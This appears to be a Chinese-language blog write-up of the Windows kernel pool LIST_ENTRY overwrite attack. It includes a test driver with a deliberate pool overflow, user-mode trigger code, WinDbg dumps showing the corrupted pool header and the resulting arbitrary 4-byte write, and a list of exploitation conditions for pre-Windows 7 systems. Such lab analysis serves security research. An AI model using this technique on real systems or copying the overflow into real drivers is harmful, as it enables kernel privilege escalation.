KERNEL POOL LIST ENTRY OVERWRITE ATTACK

KERNEL POOL LISTENTRY OVERWRITE ATTACK

 

 

LIST_ENTRY OVERWRITE 原理圖

 

測試代碼:

Sys:
 
VOID Nopagepool_ListEntry_Overwrite(ULONGcbin,ULONG cout,UCHAR * InputBuffer)
{
         PVOIDpatdbuffer=NULL,patebuffer=NULL;
         KdPrint(("Nopagepool_ListEntry_Overwrite:cbin:%d cout:%d\n",cout,cout));
         patdbuffer=ExAllocatePoolWithTag(NonPagedPool,0x100,'atd');
         if(patdbuffer)
         {
                   KdPrint(("atdbuffer:0x%x\n",patdbuffer));
                   memcpy(patdbuffer,InputBuffer,cbin);//cbin 大小爲0x38 剛好溢出下一個chunk poolheader
                   ExFreePoolWithTag(patdbuffer,'atd');//觸發exploit
         }
 
}
 
R3:
 
UCHAR InputBuffer[0x38];
    UCHAROutputBuffer[0x38];
    memset(InputBuffer,0xBB,0x30);
    memset(&InputBuffer[0x30],0xaa,0x8);
   
    DWORD dwOutput;
 
    BOOL bRet;
    bRet =DeviceIoControl(hDevice, IOCTL_TEST1, InputBuffer, 0x38, &OutputBuffer, 0x38,&dwOutput, NULL);
    if (bRet)
    {
        printf("\n");
    }


 

 

分析過程

0: kd> db 820bd3c0         //atd tag 內存

820bd3c0  00 00 00 00 07 00 00 00-e8 2b 02 82 24 2c 0282  .........+..$,..

820bd3d0  24 2c 02 82 78 ec 57 80-00 00 00 00 66 11 927c  $,..x.W.....f..|

820bd3e0  00 00 00 00 00 00 92 7c-00 00 00 00 00 01 0000  .......|........

820bd3f0 07 00 08 0a 56 61 64 6c-97 ff 07 00 97 ff 07 00  ....Vadl........

820bd400 10 52 4c 82 00 00 00 00-00 00 00 00 01 00 40 c4  .RL...........@.

820bd410 00 00 00 00 d8 dd 07 82-50 17 10 e2 00 00 00 12  ........P.......

820bd420 00 70 f9 7f ff 7f f9 7f-00 00 00 00 00 00 00 00  .p..............

820bd430 08 00 01 00 08 2a 53 82-01 00 06 0a 56 61 64 20  .....*S.....Vad

 

 

 

0: kd> db 820bd3c0-8

820bd3b8 01 00 07 0a 64 74 61 00-00 00 00 00 07 0000 00  ....dta.........

820bd3c8 e8 2b 02 82 24 2c 02 82-24 2c 02 82 78 ec 57 80  .+..$,..$,..x.W.

820bd3d8 00 00 00 00 66 11 92 7c-00 00 00 00 00 00 92 7c  ....f..|.......|

820bd3e8 00 00 00 00 00 01 00 00-07 00 08 0a 56 61 64 6c  ............Vadl

820bd3f8 97 ff 07 00 97 ff 07 00-10 52 4c 82 00 00 00 00  .........RL.....

820bd408 00 00 00 00 01 00 40 c4-00 00 00 00 d8 dd 07 82  ......@.........

820bd418 50 17 10 e2 00 00 00 12-00 70 f9 7f ff 7f f9 7f  P........p......

820bd428 00 00 00 00 00 00 00 00-08 00 01 00 08 2a 53 82  .............*S.

 

0: kd> dt nt!_POOL_HEADER  820bd3b8

  +0x000 PreviousSize     :0y000000001 (0x1)

//前一個塊的大小

  +0x000 PoolIndex        :0y0000000 (0)

//在相關聯的pool 描述數組中的索引

  +0x002 BlockSize        :0y000000111 (0x7)

//(NumberOfBytes+0xF) >>3

  +0x002 PoolType         :0y0000101 (0x5)

//Free=0,Allocated=(PoolType|2)

  +0x000 Ulong1           :0xa070001

//TAG

  +0x004 ProcessBilled    :0x00617464 _EPROCESS

  +0x004 PoolTag          : 0x617464

  +0x004 AllocatorBackTraceIndex : 0x7464

  +0x006 PoolTagHash      : 0x61

 

 

從上面可以看到820bd3f0  出是下一個poolheader

0: kd> db 820bd3f0 

820bd3f0 07 00 08 0a 56 61 64 6c-97 ff 07 00 97 ff 07 00  ....Vadl........//list entry

820bd400 10 52 4c 82 00 00 00 00-00 00 00 00 01 00 40 c4  .RL...........@.

820bd410 00 00 00 00 d8 dd 07 82-50 17 10 e2 00 00 00 12  ........P.......

820bd420 00 70 f9 7f ff 7f f9 7f-00 00 00 00 00 00 00 00  .p..............

820bd430 08 00 01 00 08 2a 53 82-01 00 06 0a 56 61 64 20  .....*S.....Vad

820bd440 10 04 00 00 d7 04 00 00-a8 73 41 82 00 00 00 00  .........sA.....

820bd450 00 00 00 00 00 00 40 03-20 55 52 82 48 80 54 e1  ......@. UR.H.T.

820bd460 80 86 54 e1 00 00 00 01-06 00 14 0a 41 66 64 c3  ..T.........Afd.

 

0: kd> dt nt!_POOL_HEADER 820bd3f0 

   +0x000PreviousSize     : 0y000000111 (0x7)

   +0x000 PoolIndex        : 0y0000000 (0)

   +0x002 BlockSize        : 0y000001000 (0x8)

   +0x002 PoolType         : 0y0000101 (0x5)

  +0x000 Ulong1           :0xa080007

  +0x004 ProcessBilled    :0x6c646156 _EPROCESS

  +0x004 PoolTag          :0x6c646156

  +0x004 AllocatorBackTraceIndex : 0x6156

  +0x006 PoolTagHash      : 0x6c64

 

 

Memcpy之後

 

0: kd> db 820bd3c0

820bd3c0 bb bb bb bb bb bb bb bb-bb bb bb bb bb bb bb bb  ................

820bd3d0 bb bb bb bb bb bb bb bb-bb bb bb bb bb bb bb bb  ................

820bd3e0 bb bb bb bb bb bb bb bb-bb bb bb bb bb bb bb bb  ................

820bd3f0 aa aa aa aa aa aa aa aa- 97 ff 07 00 97 ff07 00  ....Vadl........ //覆蓋了下一個poolchunk的頭部

820bd400 10 52 4c 82 00 00 00 00-00 00 00 00 01 00 40 c4  .RL...........@.

820bd410 00 00 00 00 d8 dd 07 82-50 17 10 e2 00 00 00 12  ........P.......

820bd420 00 70 f9 7f ff 7f f9 7f-00 00 00 00 00 00 00 00  .p..............

820bd430 08 00 01 00 08 2a 53 82-01 00 06 0a 56 61 64 20  .....*S.....Vad

 

 

 

0: kd> dt nt!_POOL_HEADER 820bd3f0 

  +0x000 PreviousSize     :0y010101010 (0xaa)

  +0x000 PoolIndex        :0y1010101 (0x55)

  +0x002 BlockSize        :0y010101010 (0xaa)

  +0x002 PoolType         :0y1010101 (0x55)

  +0x000 Ulong1           :0xaaaaaaaa

  +0x004 ProcessBilled    :0xaaaaaaaa _EPROCESS

  +0x004 PoolTag          :0xaaaaaaaa

  +0x004 AllocatorBackTraceIndex : 0xaaaa

  +0x006 PoolTagHash      : 0xaaaa

 

 

手動將這個pool header頭部改動

1: kd> ed  820bd3f0 000a0007

 

0: kd> dt nt!_POOL_HEADER 820bd3f0 

  +0x000 PreviousSize     :0y000000111 (0x7)

  +0x000 PoolIndex        :0y0000000 (0)

  +0x002 BlockSize        :0y000001010 (0xa)

  +0x002 PoolType         :0y0000000 (0) //將pooltype設置成0 標誌着釋放了

  +0x000 Ulong1           : 0xa0007

  +0x004 ProcessBilled    :0x6c646156 _EPROCESS

  +0x004 PoolTag          :0x6c646156

  +0x004 AllocatorBackTraceIndex : 0x6156

  +0x006 PoolTagHash      : 0x6c64

 

ExFreePoolWithTag釋放時觸發寫任意地址任意4個字節

 

1: kd> .trap 0xffffffffb24e0704
ErrCode = 00000002
eax=820bd3b8 ebx=0007ff97 ecx=000001ffedx=820bd3f0 esi=80565d20 edi=0007ff97
eip=8054c10d esp=b24e0778 ebp=b24e07b8iopl=0         nv up ei pl nz na pe nc
cs=0008 ss=0010  ds=0023  es=0023 fs=0030  gs=0000             efl=00010206
nt!ExDeferredFreePool+0x107:
8054c10d 893b            mov     dword ptr [ebx],edi  ds:0023:0007ff97=????????
1: kd> dd 820bd3f0 
820bd3f0 000a0007 6c646156 0007ff97 0007ff97
820bd400 824c5210 00000000 00000000 c4400001
820bd410 00000000 8207ddd8 e2101750 12000000
820bd420 7ff97000 7ff97fff 00000000 00000000
820bd430 00070008 82532a08 81f95390 81fe6330
820bd440 8241e538 000004d7 00000000 821b4288
820bd450 820a16e8 03400000 82525520 e1548048
820bd460 e1548680 01000000 02140007 c3646641


 

注意事項

 

幾個條件:

1 溢出後面的chunk的PreviousSize必須要等於當前chunk的blocksize(否則會引發ExFreePoolWithTag時藍屏)

2 當前chunk的blocksize必須要大於0x20(避免釋放到lookaside表上去)

3 溢出後面的chunk的pooltype必須爲0(0表示該chunk被釋放,引起pool 合併)

4 溢出後面的chunk的blocksize必須大於1(否則認爲這不是個listentry)

 

利用的注意事項:

1 當前的chunk的blocksize最好是256到4080 字節大小

2 溢出的最小需要字節數=0x16。

3 噹噹前的chunk被釋放時,會發生往任意地址寫任意4個字節

4 win7以前系統鏈接的摘除是不經過檢查的(free版本)

ref


BlackHat_DC_2011_Kernel Pool Exploitation onWindows 7-Slides.pdf
KernelPool.pdf.pdf
kernelpool_infiltrate2011.pdf.pdf
Windows 內核池溢出漏洞利用方法.PDF

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章